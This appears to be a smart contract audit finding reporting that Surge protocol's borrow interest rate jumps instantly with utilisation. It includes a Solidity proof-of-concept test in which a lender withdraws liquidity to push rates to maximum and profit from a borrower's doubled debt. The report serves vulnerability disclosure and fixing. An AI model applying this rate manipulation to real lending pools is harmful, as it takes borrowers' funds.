Respx

high

# Interest rates change without delay and so are susceptible to rapid manipulation

## Summary

A pool can be created with a maximum interest rate of up to 10,000% borrow APR. This could be done without malicious intent, as it provides users with an incentive to deposit loan tokens when the utilisation rate goes over the surge threshhold.

However, unlike the fall in the collateral ratio, the interest rate adjusts instantly. This fact, combined with a potential maximum rate in the thousands of percent, opens up the possibility for users to withdraw loan tokens to manipulate the interest rate.

## Vulnerability Detail

With a sufficiently high `MAX_RATE`, these manipulations can cause unexpected losses for borrowers, who will find their repayment amounts increasing much faster than they expected.

See the Proof of Concept below for a worked example (non technical readers can follow the example by reading the comments: lines starting //).

Add to `Pool.t.sol`:
```Solidity
    function testInterestManipulation() external {
        address alice = 0xaAaAaAaaAaAaAaaAaAAAAAAAAaaaAaAaAaaAaaAa;
        address bob = 0xbBbBBBBbbBBBbbbBbbBbbbbBBbBbbbbBbBbbBBbB;

        uint amount = 1e18;
        MockERC20 collateralToken = new MockERC20(amount, 18);
        MockERC20 loanToken = new MockERC20(amount * 2, 18);
        Pool pool = factory.deploySurgePool(
            IERC20(address(collateralToken)), 
            IERC20(address(loanToken)), 
            50e18, // _maxCollateralRatioMantissa
            0.8e18, // _surgeMantissa
            10 days, // _collateralRatioFallDuration
            1e15, // _collateralRatioRecoveryDuration
            0.1e18, // _minRateMantissa
            0.4e18, // _surgeRateMantissa
            100e18 // _maxRateMantissa << NOTE
        );

        uint alice_initial_balance = 1_000;
        loanToken.transfer(alice, alice_initial_balance);
        loanToken.transfer(bob, 10_000);
        collateralToken.transfer(bob, 1_000);

        // Alice provides some loan tokens
        vm.startPrank(alice);
        loanToken.approve(address(pool), type(uint).max);
        pool.deposit(1_000);
        vm.stopPrank();

        // Bob borrows at 30:1 (well below max)
        vm.startPrank(bob);
        collateralToken.approve(address(pool), type(uint).max);
        pool.addCollateral(bob, 20);
        pool.borrow(600);
        vm.stopPrank();

        // All is well. Move forward 10 seconds
        skip(10);
        emit log_named_uint("UTIL %:",lens.getUtilizationMantissa(address(pool))/1e16);
        emit log_named_uint("BORROW %:",lens.getBorrowRateMantissa(address(pool))/1e16);

        // Utilisation is only 60%, 20% below the surge level
        // Alice withdraws all remaining loan tokens
        vm.startPrank(alice);
        pool.withdraw(400);
        vm.stopPrank();

        // This instantly sends the utilisation rate to 100%
        emit log_named_uint("UTIL %:",lens.getUtilizationMantissa(address(pool))/1e16);
        // Note that the borrow rate instantly goes to max.
        emit log_named_uint("BORROW %:",lens.getBorrowRateMantissa(address(pool))/1e16);

        emit log_named_uint("BOB OWES:",lens.getDebtOf(address(pool),bob));

        //Just 4 days pass: far less than _collateralRatioFallDuration
        skip(4 days);

        //10,000% interest is a lot: Bob's debt has doubled in 4 days.
        emit log_named_uint("BOB OWES:",lens.getDebtOf(address(pool),bob));

        // Bob repays (assume his collateral is still worth more than his debt)
        vm.startPrank(bob);
        loanToken.approve(address(pool), type(uint).max);
        pool.repay(bob,type(uint).max);
        vm.stopPrank();

        // Alice withdraws, profiting all the extra loan tokens paid by Bob
        uint alice_before = loanToken.balanceOf(alice);
        vm.startPrank(alice);
        pool.withdraw(type(uint).max);
        vm.stopPrank();
        uint alice_after = loanToken.balanceOf(alice);

        emit log_named_uint("ALICE WITHDRAWS:",alice_after - alice_before);
        emit log_named_uint("ALICE PROFIT:",alice_after - alice_initial_balance);

    }
```

## Impact

Borrowers will suffer unexpected loss of funds: they will have to repay far more loan tokens than expected to regain their collateral. 

## Code Snippet

https://github.com/Surge-fi/surge-protocol-v1/blob/b7cb1dc2a2dcb4bf22c765a4222d7520843187c6/src/Pool.sol#L175-L182
In this function, the borrow interest rate is calculated. It has no time delay. It simply scales according to the current utilisation rate (`_util` in the code).

## Tool used

Manual Review

## Recommendation
Implement a system to time delay large interest rate rises.

